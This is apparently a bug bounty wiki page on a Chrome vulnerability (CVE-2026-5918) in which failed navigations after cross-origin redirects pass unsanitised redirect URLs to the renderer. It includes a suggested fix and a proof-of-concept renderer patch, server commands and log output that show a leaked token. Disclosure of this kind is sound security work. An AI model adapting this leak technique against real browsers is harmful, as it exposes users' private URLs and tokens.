Skip to content
Info disclosure Advisory Advanced CVE-2026-5918

Inappropriate implementation in Navigation (CVE-2026-5918)

When a navigation fails after cross-origin redirects, Chrome's error page commit path skips the redirect sanitisation that the success path performs, so full redirect URLs including query strings are passed to the renderer. A compromised renderer could therefore learn sensitive URLs from other sites that the browser visited.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 34 days

VULNERABILITY DETAILS

(LLM-assisted writeup)

vCross-Origin Information Leak: Missing Redirect Sanitization in Error Page Commits

When a navigation succeeds, NavigationRequest::CommitNavigation calls SanitizeRedirectsForCommit(commit_params_) to strip paths and query parameters from the redirects and redirect_infos arrays. This is an explicit security measure to "avoid leaking potentially sensitive data into processes which are cross-site".

However, if a navigation fails (e.g., due to an aborted connection, a DNS error, or a server error) after one or more cross-origin redirects, NavigationRequest::CommitErrorPage is invoked. CommitErrorPage does NOT call SanitizeRedirectsForCommit. It directly calls GetRenderFrameHost()->FailedNavigation(..., *commit_params_, ...).

Location:

File: content/browser/renderer_host/navigation_request.cc

Function: NavigationRequest::CommitErrorPage (around line 6511)

Suggested Fix:

Call SanitizeRedirectsForCommit(commit_params_) inside NavigationRequest::CommitErrorPage() before calling GetRenderFrameHost()->FailedNavigation().

VERSION

Chrome: built from source, synced to HEAD

OS: Linux

REPRODUCTION CASE

  1. Assume compromised renderer. Apply the following patch to the renderer and rebuilt Chrome:
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index 2cf52ebc1ce7c..f9c6e73da744a 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -3045,6 +3045,18 @@ void RenderFrameImpl::CommitFailedNavigation(
                frame_token_);
   RendererNavigationMetricsManager::Instance().MarkCommitStart(
       commit_params->navigation_metrics_token);
+
+  LOG(ERROR) << "VULNERABILITY POC - CommitFailedNavigation PID: " << getpid();
+  if (frame_->Top()->IsWebLocalFrame()) {
+    LOG(ERROR) << "VULNERABILITY POC - Top Frame Origin: " << frame_->Top()->ToWebLocalFrame()->GetSecurityOrigin().ToString().Utf8();
+  } else {
+    LOG(ERROR) << "VULNERABILITY POC - Top Frame is Remote.";
+  }
+
+  for (const auto& r : commit_params->redirects) {
+    LOG(ERROR) << "VULNERABILITY POC LEAKED URL: " << r.spec();
+  }
+
   DCHECK(navigation_client_impl_);
   DCHECK(!NavigationTypeUtils::IsSameDocument(common_params->navigation_type));
  1. Run the attached script. It will start two HTTP servers, representing an attacker site and a victim site, and it will run Chrome.
python3 attacker_server.py &
python3 victim_server.py &
sleep 2
out/Default/chrome --headless --disable-gpu --enable-logging=stderr --virtual-time-budget=5000 http://127.0.0.1:8001/ 2>&1 | grep --line-buffered "VULNERABILITY POC"

Output:

[2996188:1:0305/151902.299670:ERROR:content/renderer/render_frame_impl.cc:3049] VULNERABILITY POC - CommitFailedNavigation PID: 1
[2996188:1:0305/151902.300732:ERROR:content/renderer/render_frame_impl.cc:3051] VULNERABILITY POC - Top Frame Origin: http://127.0.0.1:8001
[2996188:1:0305/151902.301149:ERROR:content/renderer/render_frame_impl.cc:3057] VULNERABILITY POC LEAKED URL: http://127.0.0.1:8002/login
[2996188:1:0305/151902.301374:ERROR:content/renderer/render_frame_impl.cc:3057] VULNERABILITY POC LEAKED URL: http://127.0.0.1:8002/auth1
[2996188:1:0305/151902.301557:ERROR:content/renderer/render_frame_impl.cc:3057] VULNERABILITY POC LEAKED URL: http://127.0.0.1:8002/auth2?token=SUPER_SECRET_TOKEN_1337

CREDIT INFORMATION

Reporter credit: Ryan Lothian

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the error-page commit path was overlooked when redirect sanitisation was added to the success path, so it forwards unsanitised redirect data to the renderer.

Impact

A compromised renderer could read cross-origin redirect URLs, including query parameters that may contain sensitive data; the demonstration relies on an already-compromised renderer.

What the attacker needed

Compromised renderer process; navigation fails after cross-origin redirect

The fix

The error page commit path should call the same redirect sanitisation routine as the success path before handing data to the renderer.

How it was found

  1. Patch the renderer to log the redirect list received during a failed navigation commit.
  2. Start an attacker server and a victim server, then launch headless Chrome against the attacker page.
  3. Observe the logged output showing the victim site's redirect URLs, including one with a token in the query string.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Browsers try to keep one website from learning what you do on another website. Here, when a page failed to load after being redirected, Chrome handed the full list of redirect addresses, including secret-looking query strings, to the page's rendering process. If that process were already compromised, it could read those addresses.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.